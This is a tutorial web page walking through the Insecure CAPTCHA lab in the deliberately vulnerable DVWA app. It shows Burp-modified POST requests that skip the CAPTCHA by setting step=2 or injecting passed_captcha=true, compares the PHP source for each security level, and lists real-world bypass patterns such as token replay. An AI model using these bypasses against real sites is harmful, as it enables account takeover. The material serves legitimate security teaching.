DVWA Insecure CAPTCHA Lab 2026 — Bypass Logic & Complete Walkthrough

🧪 DVWA LAB SERIES
FREE

Lab 13 of 30 · 43.3% complete

⚠️ Local Lab Only: DVWA is a deliberately vulnerable application designed for learning. Run it only on your own local machine or isolated lab network. Never deploy DVWA on a public-facing server. The vulnerabilities demonstrated in this lab should only be tested in this controlled environment.

DVWA Insecure CAPTCHA lab 2026 — CAPTCHAs exist to prevent automated bots from submitting forms. But a CAPTCHA that trusts the user to report whether they completed it, rather than independently verifying this, provides zero security. That is exactly the vulnerability this lab demonstrates. The Low security implementation uses a “step” parameter — step 1 is the CAPTCHA page, step 2 is the password change. Submit step=2 directly, skip the entire CAPTCHA, change any password. It is a logic flaw rather than a technical exploit, which makes it both elegantly simple and extremely common in real applications.

🎯 What You’ll Learn in Lab 13

Understand the CAPTCHA logic flaw root cause at each security level

Bypass DVWA Insecure CAPTCHA at Low, Medium, and High security

Use Burp Suite to intercept and manipulate the step and passed_captcha parameters

Understand what a secure server-side CAPTCHA implementation looks like

Identify this vulnerability class in real applications for bug bounty

⏱️ 35 min · 3 Burp Suite exercises

✅ Prerequisites

DVWA running locally (Lab 1: DVWA Setup Guide)
Burp Suite configured as proxy (Day 12: Burp Suite Kali Linux)
Basic understanding of HTTP POST parameters

📋 Lab 13 Contents — DVWA Insecure CAPTCHA Lab

The Insecure CAPTCHA Vulnerability Explained
Low Security — Step Parameter Bypass
Medium Security — passed_captcha Parameter Injection
High Security — Server-Side Verification
Real-World CAPTCHA Bypass Patterns in Bug Bounty

In Lab 12 you automated database extraction with SQLmap. Lab 13 demonstrates a completely different vulnerability class — business logic flaws. Where SQL injection is a technical vulnerability in data handling, insecure CAPTCHA is a design flaw in security control implementation. Both appear in the DVWA Lab Series and in real bug bounty programmes.

The Insecure CAPTCHA Vulnerability Explained

The DVWA Insecure CAPTCHA module simulates a password change form protected by a CAPTCHA. The intended flow is: (1) user fills in new password → (2) user completes CAPTCHA → (3) CAPTCHA is verified → (4) password changes. The insecure implementation tracks which step the user is on using a parameter in the HTTP request. Step 1 is the CAPTCHA form; step 2 is the processing step. If the server trusts the step value without independently verifying that the CAPTCHA was actually completed, an attacker submits step=2 directly and bypasses the entire control.

⚡ EXERCISE 1 — DVWA TERMINAL (15 MIN)

Bypass DVWA Insecure CAPTCHA at Low Security Using Burp Suite

⏱️ Time: 15 minutes · DVWA running · Burp Suite proxy active

LOW SECURITY — STEP PARAMETER BYPASS

# Step 1: Set DVWA to Low security

DVWA Security → Set to Low → Submit

# Step 2: Navigate to Insecure CAPTCHA module

DVWA Menu → Insecure CAPTCHA

# Step 3: Enable Burp Suite intercept (Proxy → Intercept ON)

# Step 4: Fill in new password fields and click Change

New password: hacked123

Confirm new password: hacked123

Click “Change” (you may see CAPTCHA – skip/fail it)

# Step 5: In Burp Intercept, observe the POST request

POST /dvwa/vulnerabilities/captcha/ HTTP/1.1

password_new=hacked123&password_conf=hacked123&step=1&Change=Change

# Step 6: In Burp Repeater — change step=1 to step=2

password_new=hacked123&password_conf=hacked123&step=2&Change=Change

# Step 7: Send the modified request

Response: “Password Changed.”

# CAPTCHA was never shown, never solved, password changed

# Verify: log out and log back in with new password

✅ What you just learned: The step=2 bypass demonstrates a logic flaw that requires no technical vulnerability in the traditional sense — no injection, no memory corruption. The application simply trusted a client-supplied workflow state parameter. This is the same class of vulnerability as price manipulation in e-commerce (changing product price in a hidden field) and privilege bypass in multi-step forms (skipping the authorisation step). The root cause is identical in all cases: the server processes a sensitive action based on client-reported state rather than server-verified conditions.

📸 Screenshot Burp Repeater showing step=2 and the “Password Changed.” response. Share in #dvwa-labs on Discord.

Medium Security — passed_captcha Parameter Injection

Medium security changes the mechanism but not the fundamental flaw. Instead of a step number, the application uses a passed_captcha boolean parameter. If this parameter is present and true in the POST request, the server skips CAPTCHA verification. The attacker simply adds passed_captcha=true to the POST body — the server trusts it without any verification.

⚡ EXERCISE 2 — DVWA (10 MIN)

Bypass CAPTCHA at Medium Security by Injecting the passed_captcha Parameter

⏱️ Time: 10 minutes · DVWA at Medium security

MEDIUM SECURITY — passed_captcha BYPASS

# Set DVWA to Medium security

# Navigate to Insecure CAPTCHA module

# Intercept the change password request in Burp

POST body (observed): password_new=test&password_conf=test&step=1&Change=Change

# In Burp Repeater — add passed_captcha=true

password_new=hacked456&password_conf=hacked456&step=2&passed_captcha=true&Change=Change

Response: “Password Changed.”

# View Source to understand why this works

DVWA → View Source (bottom of page)

PHP: if( isset( $_POST[ ‘passed_captcha’ ] ) ) {

$hide_form = true; // skip CAPTCHA check

}

# The server trusts the client-supplied passed_captcha value

# No API call to verify the CAPTCHA was actually solved

✅ What you just learned: Medium security demonstrates that simply adding a different parameter name does not fix the root cause. The vulnerability is not in the parameter name — it is in the trust model. Hiding the passed_captcha field in HTML (making it a hidden input) does not prevent its manipulation; Burp Suite sees all POST parameters regardless of whether they are visible in the browser. Real CAPTCHA security requires the server to make an independent API call to the CAPTCHA provider to verify the response token — not trusting any client-supplied indicator that verification occurred.

📸 Screenshot the View Source showing the passed_captcha PHP check. Share in #dvwa-labs on Discord.

High Security — Server-Side Verification (The Correct Approach)

⚡ EXERCISE 3 — DVWA SOURCE CODE ANALYSIS (10 MIN)

Compare Low vs High Security Source Code to Understand the Correct Implementation

⏱️ Time: 10 minutes · DVWA View Source comparison

SOURCE CODE COMPARISON — LOW vs HIGH SECURITY

# LOW SECURITY — insecure (trusts step parameter)

if( $_POST[ ‘step’ ] == ‘1’ ) {

// Show CAPTCHA — but step=2 skips this entirely

}

if( $_POST[ ‘step’ ] == ‘2’ ) {

// Change password — NO CAPTCHA VERIFICATION HERE

$pass_new = $_POST[ ‘password_new’ ];

// password is changed directly

}

# HIGH SECURITY — secure (server-side API verification)

$resp = recaptcha_check_answer(

$_DVWA[ ‘recaptcha_private_key’],

$_POST[‘g-recaptcha-response’]

);

if( !$resp->is_valid ) {

// CAPTCHA failed — reject regardless of any other parameter

echo “The CAPTCHA was incorrect. Please try again.”;

exit;

}

# Key difference: server calls the recaptcha API independently

# No client-supplied parameter can bypass server API verification

✅ What you just learned: The High security source code shows exactly what secure CAPTCHA implementation looks like. The server makes an independent call to the reCAPTCHA API using the private key (which the client never sees) to verify the g-recaptcha-response token that the user’s browser received after solving the CAPTCHA. The client cannot fake this token because it is generated by Google’s reCAPTCHA service and is single-use. This is the only implementation model that actually provides security — independent server-side verification through a verified third-party API, not trust in any client-supplied parameter.

📸 Screenshot both source code sections side-by-side and share in #dvwa-labs on Discord. Tag #captchabypass2026

Real-World CAPTCHA Bypass Patterns in Bug Bounty

CAPTCHA bypass vulnerabilities appear regularly in bug bounty programmes in several patterns beyond the DVWA step-parameter example. The most common are: CAPTCHA only on the web form but not on the underlying API endpoint (submit the API POST directly, bypassing the form and its CAPTCHA entirely); CAPTCHA response tokens that are not invalidated server-side after use (replay the same g-recaptcha-response token multiple times); CAPTCHA only on GET requests, not on POST to the same endpoint; and CAPTCHA verification that is asynchronous with a race condition window where the action completes before verification responds.

🧠 QUICK CHECK — Lab 13

At DVWA Low security, why does changing the POST parameter from step=1 to step=2 bypass the CAPTCHA?

📋 Lab 13 Key Findings Reference

Low — step=2 in POST bodySkips CAPTCHA step entirely — server processes password change without verification

Medium — passed_captcha=true injectedServer trusts client-supplied boolean — no API verification made

High — recaptcha_check_answer() API callServer verifies g-recaptcha-response token independently — cannot be bypassed by parameter manipulation

Root causeWorkflow state tracked in client-controllable parameter instead of server-side session

Bug bounty equivalentCheck if API endpoint has CAPTCHA, test token reuse, check step-skipping on multi-page forms

🏆 Mark Lab 13 as Complete

Lab 13 demonstrated the insecure CAPTCHA logic flaw — a business logic vulnerability that bypasses access controls through parameter manipulation rather than code injection. This is a distinct and equally important vulnerability class from the SQL injection and XSS attacks in earlier labs.

❓ Frequently Asked Questions

What is the DVWA Insecure CAPTCHA vulnerability?

A logic flaw where CAPTCHA verification is tracked via a client-controllable step parameter rather than server-side. Submitting step=2 directly skips CAPTCHA and processes the password change without verification.

Why is the step parameter approach insecure?

The server trusts the client-supplied workflow state. Any value can be submitted as the step parameter. Security controls must be enforced server-side based on verified conditions — never on client-supplied values indicating prior steps were completed.

What is the secure CAPTCHA implementation?

Server-side API verification: user solves CAPTCHA → receives g-recaptcha-response token → server calls Google siteverify API with token using private key → only on success does server process the action. No client parameter can fake the API verification.

Is Insecure CAPTCHA a real bug bounty vulnerability?

Yes — appears regularly. Common forms: CAPTCHA on web form but not underlying API, non-invalidated tokens (replay attack), step-skipping on multi-page forms. Severity depends on protected action — login (Medium), password reset (High), financial transaction (Critical).

What comes after DVWA Lab 13?

Lab 14: DVWA Security Levels Explained — comprehensive analysis of how the security levels affect source code across all modules, with side-by-side secure vs insecure implementation comparisons.

← Previous Lab

Lab 12: DVWA SQLmap Lab 2026

Next Lab →

Lab 14: DVWA Security Levels Explained

📚 Further Reading

DVWA SQLmap Lab 2026 — Lab 12 automated database extraction with SQLmap — the technical counterpart to Lab 13’s logic flaw approach.
Web Application Security Hub — The complete web application security category covering logic flaws, injection attacks, XSS, CSRF, and authentication vulnerabilities.
DVWA Labs Hub — All 30 DVWA labs in sequence — the complete walkthrough series from setup through advanced exploitation techniques.
Burp Suite Kali Linux 2026 — Day 12 covers Burp Suite setup and HTTPS interception — the proxy technique used in this lab to intercept and modify the step parameter.
DVWA GitHub Repository — Damn Vulnerable Web Application (DVWA) GitHub Repository.

Mr Elite

Owner, SecurityElites.com

The CAPTCHA bypass pattern from this lab appears in real applications more often than I expected when I first learned it. The most impactful real-world version I have seen in professional testing was a financial services password reset flow that used an identical step-parameter design. Step 1 sent the SMS code, step 2 was supposed to verify it, step 3 changed the password. Submitting step=3 directly with a target account’s email address and a new password bypassed both the SMS verification and the CAPTCHA completely. The application had been deployed for four years. No one had tested the API layer — only the web frontend, where the steps were correctly enforced in the JavaScript. One Burp Suite intercept and one parameter change. That finding paid well and got patched the same day it was reported.

Lab13: DVWA Insecure CAPTCHA Lab 2026 — Bypass Logic & Complete Walkthrough